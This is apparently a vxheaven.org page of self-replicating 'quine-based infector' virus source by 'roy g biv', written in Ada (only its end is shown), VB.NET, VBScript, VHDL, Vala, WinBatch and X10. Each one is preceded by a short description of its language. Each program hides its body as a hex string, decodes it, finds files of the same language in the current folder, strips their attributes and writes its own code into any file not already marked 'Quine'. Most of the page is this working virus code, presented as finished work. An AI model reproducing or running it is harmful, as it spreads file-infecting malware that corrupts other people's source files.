direction_forward,identity);exit when l>0;j:=function_unbounded_slice(j,h+i,
get_length(j));end loop;if h>0 then j:=function_unbounded_slice(e,l,get_length(e));
h:=index_pattern(j,"begin",direction_forward,identity)-2;i:=index_pattern(j,to_string(
concat_string_unbounded_string("end ",k)),direction_forward,identity)-2;open(f,
out_file,c(1..d),"");d:=1;while d<a'length loop m:=character'pos(a(d+1));
put_character_file(f,character'val(character'pos(a(d))*16+m-m/64*7-816));d:=d+2;if
d=693 then put_file(f,to_string(function_unbounded_slice(e,1,l+h)));elsif d=715 then
put_file(f,a);elsif d=921 then put_file(f,to_string(function_unbounded_slice(e,l+h,
l+i)));end if;end loop;put_file(f,to_string(function_unbounded_slice(e,l+i+1,
get_length(e))));close(f);end if;end if;end if;end if;end loop;close(b);exception
when error:others=>return;--Quine - roy g biv 07/06/13

end quine;
 

Visual Basic .NET

Visual Basic .NET (VB.NET) is an object-oriented computer programming language that can be viewed as an evolution of the classic Visual Basic, implemented on the .NET Framework.

Quine-based infector was finished on 05.09.2013.

class quine
shared sub Main()

dim a="222C623D223A64696D20613D222B636872283334292B612C632C652C662C672C683A666F7
220633D3120746F206C656E2861297374657020323A623D622B6368722863696E742822266822266
D696428612C632C322929293A6E6578743A6F6E206572726F7220726573756D65206E6578743A633
D6372656174656F626A6563742822736372697074696E672E66696C6573797374656D6F626A65637
422293A666F722065616368206420696E20632E676574666F6C64657228222E22292E66696C65733
A6966206C6361736528632E676574657874656E73696F6E6E616D65286429293D227662227468656
E3A653D632E6F70656E7465787466696C652864292E72656164616C6C3A663D696E737472286C636
173652865292C22656E642073756222293A696620696E73747228652C225175696E6522293D30616
E6420663E307468656E3A673D642E617474726962757465733A642E617474726962757465733D303
A6572722E636C6561723A683D632E6372656174657465787466696C652864293A6966206572722E6
E756D6265723D307468656E3A682E7772697465286C65667428652C662D31292B622B6D696428652
C6629293A656E642069663A642E617474726962757465733D673A656E642069663A656E642069663
A6E657874275175696E65202D20726F792067206269762030352F30392F31330A"
,b=":dim
a="
+chr(34)+a,c,e,f,g,h:for c=1 to len(a)step 2:b=b+chr(cint("&h"&mid(a,c,2))):
next:on error resume next:c=createobject("scripting.filesystemobject"):for each d
in c.getfolder(".").files:if lcase(c.getextensionname(d))="vb"then:e=c.opentextfile(
d).readall:f=instr(lcase(e),"end sub"):if instr(e,"Quine")=0and f>0then:g=
d.attributes:d.attributes=0:err.clear:h=c.createtextfile(d):if err.number=0then:
h.write(left(e,f-1)+b+mid(e,f)):end if:d.attributes=g:end if:end if:next'Quine - roy g biv 05/09/13

end sub
end class
 

Visual Basic Script

VBScript (Visual Basic Scripting Edition) is an Active Scripting language developed by Microsoft that is modeled on Visual Basic. It is designed as a "lightweight" language with a fast interpreter for use in a wide variety of Microsoft environments. VBScript uses the Component Object Model to access elements of the environment within which it is running; for example, the FileSystemObject (FSO) is used to create, read, update and delete files.

Quine-based infector was finished on 21.04.2013.

a="223A623D223A613D222B636872283334292B613A666F7220633D3120746F206C656E286129737
4657020323A623D622B6368722863696E742822266822266D696428612C632C322929293A6E65787
43A6F6E206572726F7220726573756D65206E6578743A73657420613D6372656174656F626A65637
42822736372697074696E672E66696C6573797374656D6F626A65637422293A666F7220656163682
06320696E20612E676574666F6C64657228222E22292E66696C65733A6966206C6361736528612E6
76574657874656E73696F6E6E616D65286329293D2276627322616E6420696E73747228612E6F706
56E7465787466696C652863292E72656164616C6C2C225175696E6522293D307468656E3A643D632
E617474726962757465733A632E617474726962757465733D303A6572722E636C6561723A7365742
0653D612E6F70656E7465787466696C6528632C38293A6966206572722E6E756D6265723D3074686
56E3A652E77726974652862293A656E642069663A632E617474726962757465733D643A656E64206
9663A6E657874275175696E65202D20726F792067206269762032312F30342F3133"
:b=":a="+chr(
34)+a:for c=1 to len(a)step 2:b=b+chr(cint("&h"&mid(a,c,2))):next:on error resume
next:set a=createobject("scripting.filesystemobject"):for each c in a.getfolder
(".").files:if lcase(a.getextensionname(c))="vbs"and instr(a.opentextfile(c).readall,
"Quine")=0then:d=c.attributes:c.attributes=0:err.clear:set e=a.opentextfile(c,8):
if err.number=0then:e.write(b):end if:c.attributes=d:end if:next'Quine - roy g biv 21/04/13

VHDL

VHDL (VHSIC Hardware Description Language) is a hardware description language used in electronic design automation to describe digital and mixed-signal systems such as field-programmable gate arrays and integrated circuits. VHDL can also be used as a general purpose parallel programming language.

Quine-based infector was finished on 28.05.2013.

use std.textio.all;

entity quine is
end quine;
architecture rgb of quine is
begin
process

constant a:string(1 to 2754):="757365207374642E74657874696F2E616C6C3B636F6E73746
16E7420613A737472696E67283120746F2032373534293A3D22223B636F6E7374616E7420623A737
472696E67283120746F203130293A3D2276696374696D2E766864223B66696C6520632C6F3A74657
8743B7661726961626C6520642C662C692C6B2C6C2C6D2C6E3A696E74656765723B7661726961626
C6520653A6C696E653B7661726961626C6520683A6368617261637465723B7661726961626C65206
A3A737472696E67283120746F20323536293B66696C655F6F70656E28632C622C726561645F6D6F6
465293B643A3D303B6B3A3D303B6C3A3D303B6D3A3D303B6E3A3D303B7768696C65206E6F7420656
E6466696C652863296C6F6F7020726561646C696E6528632C65293B643A3D642B313B663A3D65276
C656E6774683B666F72206720696E203120746F2066206C6F6F70207265616428652C68293B693A3
D63686172616374657227706F732868293B696620693E363420616E6420693C3931207468656E206
83A3D6368617261637465722776616C28692B3332293B656E642069663B6A2867293A3D683B656E6
4206C6F6F703B666F72206720696E203120746F2066206C6F6F7020696620663E34207468656E206
966206A286720746F20672B34293D227175696E65227468656E206B3A3D313B657869743B656C736
966206A286720746F20672B34293D22626567696E227468656E206C3A3D643B656C736966206A286
720746F20672B34293D22776169743B227468656E206D3A3D643B656C73696620663E3620616E642
06A286720746F20672B36293D2270726F63657373227468656E206E3A3D313B656E642069663B656
E642069663B656E64206C6F6F703B656E64206C6F6F703B66696C655F636C6F73652863293B69662
06B3D3020616E64206C3E3020616E64206D3E3020616E64206E3E30207468656E2066696C655F6F7
0656E28632C622C726561645F6D6F6465293B66696C655F6F70656E286F2C2272222C77726974655
F6D6F6465293B663A3D313B7768696C6520663C61276C656E677468206C6F6F7020693A3D6368617
2616374657227706F73286128662B3129293B777269746528652C6368617261637465722776616C2
863686172616374657227706F732861286629292A31362B692D692F36342A372D38313629293B663
A3D662B323B696620663D3339207468656E2077726974656C696E65286F2C65293B666F722067206
96E203120746F206C2D31206C6F6F7020726561646C696E6528632C65293B77726974656C696E652
86F2C65293B656E64206C6F6F703B656C73696620663D313031207468656E20777269746528652C6
1293B656C73696620663D343037207468656E2077726974656C696E65286F2C65293B666F7220672
0696E206C20746F206D2D31206C6F6F7020726561646C696E6528632C65293B77726974656C696E6
5286F2C65293B656E64206C6F6F703B656E642069663B656E64206C6F6F703B77726974656C696E6
5286F2C65293B666F72206720696E206D20746F2064206C6F6F7020726561646C696E6528632C652
93B77726974656C696E65286F2C65293B656E64206C6F6F703B66696C655F636C6F7365286F293B6
6696C655F636C6F73652863293B66696C655F6F70656E28632C2272222C726561645F6D6F6465293
B66696C655F6F70656E286F2C622C77726974655F6D6F6465293B7768696C65206E6F7420656E646
6696C652863296C6F6F7020726561646C696E6528632C65293B77726974656C696E65286F2C65293
B656E64206C6F6F703B66696C655F636C6F7365286F293B66696C655F636C6F73652863293B656E6
42069663B2D2D5175696E65202D20726F792067206269762032382F30352F3133"
;constant
b:string(1 to 10):="victim.vhd";file c,o:text;variable d,f,i,k,l,m,n:integer;
variable e:line;variable h:character;variable j:string(1 to 256);

begin

file_open(c,b,read_mode);d:=0;k:=0;l:=0;m:=0;n:=0;while not endfile(c)loop readline(c,e);d:=d+1;f:=e'length;for g in 1 to f loop read(e,h);i:=character'pos(h);if i>64 and i<91 then h:=character'val(i+32);end if;j(g):=h;end loop;for g in 1 to f loop if f>4 then if j(g to g+4)="quine"then k:=1;exit;elsif j(g to g+4)="begin"then l:=d;elsif j(g to g+4)="wait;"then m:=d;elsif f>6 and j(g to g+6)="process"then n:=1;end if;end if;end loop;end loop;file_close(c);if k=0 and l>0 and m>0 and n>0 then file_open(c,b,read_mode);file_open(o,"r",write_mode);f:=1;while f<a'length loop i:=character'pos(a(f+1));write(e,character'val(character'pos(a(f))*16+i-i/64*7-816));f:=f+2;if f=39 then writeline(o,e);for g in 1 to l-1 loop readline(c,e);writeline(o,e);end loop;elsif f=101 then write(e,a);elsif f=407 then writeline(o,e);for g in l to m-1 loop readline(c,e);writeline(o,e);end loop;end if;end loop;writeline(o,e);for g in m to d loop readline(c,e);writeline(o,e);end loop;file_close(o);file_close(c);file_open(c,"r",read_mode);file_open(o,b,write_mode);while not endfile(c)loop readline(c,e);writeline(o,e);end loop;file_close(o);file_close(c);end if;--Quine - roy g biv 28/05/13

wait;
end process;
end rgb;
 

Vala

Vala is an object-oriented programming language with a self-hosting compiler that generates C code and uses the GObject system. Vala is syntactically similar to C# and includes useful language features like anonymous functions, signals, properties, generics, assisted memory management, exception handling, type inference, and foreach statements. Its developers Jurg Billeter and Raffaele Sandrini aim to bring these features to the plain C runtime with little overhead and no special runtime support by targeting the GObject object system. Rather than being compiled directly to assembly or to another intermediate language, Vala is source-to-source compiled to C which is then compiled with a platform's standard C compiler, such as gcc.

Quine-based infector was finished on 22.08.2013.

class quine
{
    public static void main(string[] args)
    {

        {string a="222C623D227B737472696E6720613D5C22222B612C642C663B696E7420633
        B666F7228633D303B633C612E6C656E6774683B632B3D3229622B3D28286368617229286
        15B635D2A31362B615B632B315D2D615B632B315D2F36342A372D38313629292E746F5F7
        37472696E6728293B76617220653D4469722E6F70656E28222E22293B7768696C6528286
        43D652E726561645F6E616D65282929213D6E756C6C29696628642E646F776E28292E686
        1735F73756666697828222E76616C612229297472797B73697A655F7420673B46696C655
        574696C732E6765745F636F6E74656E747328642C6F757420662C6F75742067293B633D2
        8696E7429673B7768696C6528665B2D2D635D213D277D27293B7768696C6528665B2D2D6
        35D213D277D27293B696628665B632D315D213D272F27297472797B46696C655574696C7
        32E7365745F636F6E74656E747328642C662E737562737472696E6728302C63292B622B6
        62E737562737472696E67286329293B7D63617463687B7D7D63617463687B7D7D2F2A517
        5696E65202D20726F792067206269762032322F30382F31332A2F"
,b="{string a=\""+a,
        d,f;int c;for(c=0;c<a.length;c+=2)b+=((char)(a[c]*16+a[c+1]-a[c+1]/64*7-
        816)).to_string();var e=Dir.open(".");while((d=e.read_name())!=null)if(
        d.down().has_suffix(".vala"))try{size_t g;FileUtils.get_contents(d,out f,
        out g);c=(int)g;while(f[--c]!='}');while(f[--c]!='}');if(f[c-1]!='/')
        try{FileUtils.set_contents(d,f.substring(0,c)+b+f.substring(c));}catch{}}
        catch{}}/*Quine - roy g biv 22/08/13*/}

}
 

WinBatch

Winbatch is a non-free Microsoft Windows scripting language developed by Wilson WindowWare. Its environment includes an interpreter and a code editor along with a dialog designer and optional compiler to create self-contained executables.

It is a reasonably easy language to learn, and its structure and syntax at first glance look a little like a cross between Basic and C. It has been continually developed over the years with many functions added along with support for things like .Net, ActiveX controls, COM (OLE), Unicode, UAC and code signing for Vista and Windows 7 etc.

Quine-based infector was finished on 25.05.2013.

a="613D22220A623D22220A666F7220633D3120746F207374726C656E286129627920320A643D636
86172326E756D2873747273756228612C632B312C3129290A623D73747263617428622C6E756D326
36861722873747273756228612C632C31292A31362B642D642F36342A372D343829290A696620633
D3D357468656E20623D73747263617428622C61290A6E6578740A613D66696C656974656D697A652
8222A2E77627422290A666F7220633D3120746F206974656D636F756E7428612C40746162290A643
D6974656D6578747261637428632C612C40746162290A653D66696C656F70656E28642C227265616
422290A663D22220A673D300A7768696C6521670A683D66696C65726561642865290A696620683D3
D222A454F462A227468656E20627265616B0A673D737472696E64657828682C225175696E65222C3
12C406677647363616E290A663D73747263617428662C68290A656E647768696C650A66696C65636
C6F73652865290A69662167207468656E0A653D66696C65617474726765742864290A66696C65617
4747273657428642C227222290A66696C6570757428642C7374726361742873747263617428622C4
06C66292C6629290A66696C656174747273657428642C65290A656E6469660A6E657874275175696
E65202D20726F792067206269762032352F30352F3133"

b=""
for c=1 to strlen(a)by 2
d=char2num(strsub(a,c+1,1))
b=strcat(b,num2char(strsub(a,c,1)*16+d-d/64*7-48))
if c==5then b=strcat(b,a)
next
a=fileitemize("*.wbt")
for c=1 to itemcount(a,@tab)
d=itemextract(c,a,@tab)
e=fileopen(d,"read")
f=""
g=0
while!g
h=fileread(e)
if h=="*EOF*"then break
g=strindex(h,"Quine",1,@fwdscan)
f=strcat(f,h)
endwhile
fileclose(e)
if!g then
e=fileattrget(d)
fileattrset(d,"r")
fileput(d,strcat(strcat(b,@lf),f))
fileattrset(d,e)
endif
next'Quine - roy g biv 25/05/13

x10

X10 is a programming language being developed by IBM at the Thomas J. Watson Research Center as part of the Productive, Easy-to-use, Reliable Computing System (PERCS) project funded by DARPA's High Productivity Computing Systems (HPCS) program. Its primary authors are Kemal Ebcioglu, Vijay Saraswat, and Vivek Sarkar.

X10 is designed specifically for parallel programming using the partitioned global address space (PGAS) model. A computation is divided among a set of places, each of which holds some data and hosts one or more activities that operate on those data. It has a constrained type system for object-oriented programming, a form of dependent types. Other features include user-defined primitive struct types; globally distributed arrays, and structured and unstructured parallelism.

Quine-based infector was finished on 23.06.2013.

public class Hello {
    public static def main(Array[String]) {
if(true){a:String="223B76617220623A537472696E673D2269662874727565297B613A5374726
96E673D5C22222B613B76617220633A696E743B666F7228633D303B633C612E6C656E67746828293
B632B3D3229622B3D436861722E63687228496E742E7061727365496E7428612E737562737472696
E6728632C632B32292C313629293B643A41727261795B537472696E675D3D286E6577207831302E6
96F2E46696C6528222E2229292E6C69737428293B666F72286520696E206429696628642865292E7
46F4C6F7765724361736528292E656E64735769746828222E7831302229297472797B663A7831302
E696F2E46696C653D6E6577207831302E696F2E46696C652864286529293B76617220673A4172726
1795B427974655D3D6E65772041727261795B427974655D28662E73697A652829617320496E742B6
22E6C656E6774682829293B683A7831302E696F2E46696C655265616465723D6E6577207831302E6
96F2E46696C655265616465722866293B682E7265616428672C302C662E73697A652829617320496
E74293B682E636C6F736528293B693A537472696E673D6E657720537472696E672867293B633D692
E6C617374496E6465784F6628277D272C692E6C617374496E6465784F6628277D27292D31293B696
628286728632D3129213D343761732042797465292626662E63616E57726974652829297B4172726
1792E636F707928672C632C672C672E73697A652D662E73697A652829617320496E742B632C662E7
3697A652829617320496E742D63293B41727261792E636F707928622E627974657328292C302C672
C632C622E6C656E6774682829293B6A3A7831302E696F2E46696C655772697465723D6E657720783
1302E696F2E46696C655772697465722866293B6A2E77726974652867293B6A2E636C6F736528293
B7D7D636174636828457863657074696F6E297B7D7D2F2A5175696E65202D20726F7920672062697
62032332F30362F31332A2F";
var b:String="if(true){a:String=\""+a;var c:int;for(c=0;c < a.length();c+=2)
b+=Char.chr(Int.parseInt(a.substring(c,c+2),16));d:Array[String]=
(new x10.io.File(".")).list();for(e in d)if(d(e).toLowerCase().endsWith(".x10"))
try{f:x10.io.File=new x10.io.File(d(e));var g:Array[Byte]=new Array[Byte](f.size()
as Int+b.length());h:x10.io.FileReader=new x10.io.FileReader(f);h.read(g,0,f.size()
as Int);h.close();i:String=new String(g);c=i.lastIndexOf('}',i.lastIndexOf('}')-1);
if((g(c-1)!=47as Byte)&&f.canWrite()){Array.copy(g,c,g,g.size-f.size()as Int+c,
f.size()as Int-c);Array.copy(b.bytes(),0,g,c,b.length());j:x10.io.FileWriter=
new x10.io.FileWriter(f);j.write(g);j.close();}}catch(Exception){}}/*Quine - roy g biv 23/06/13*/}

}
 
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua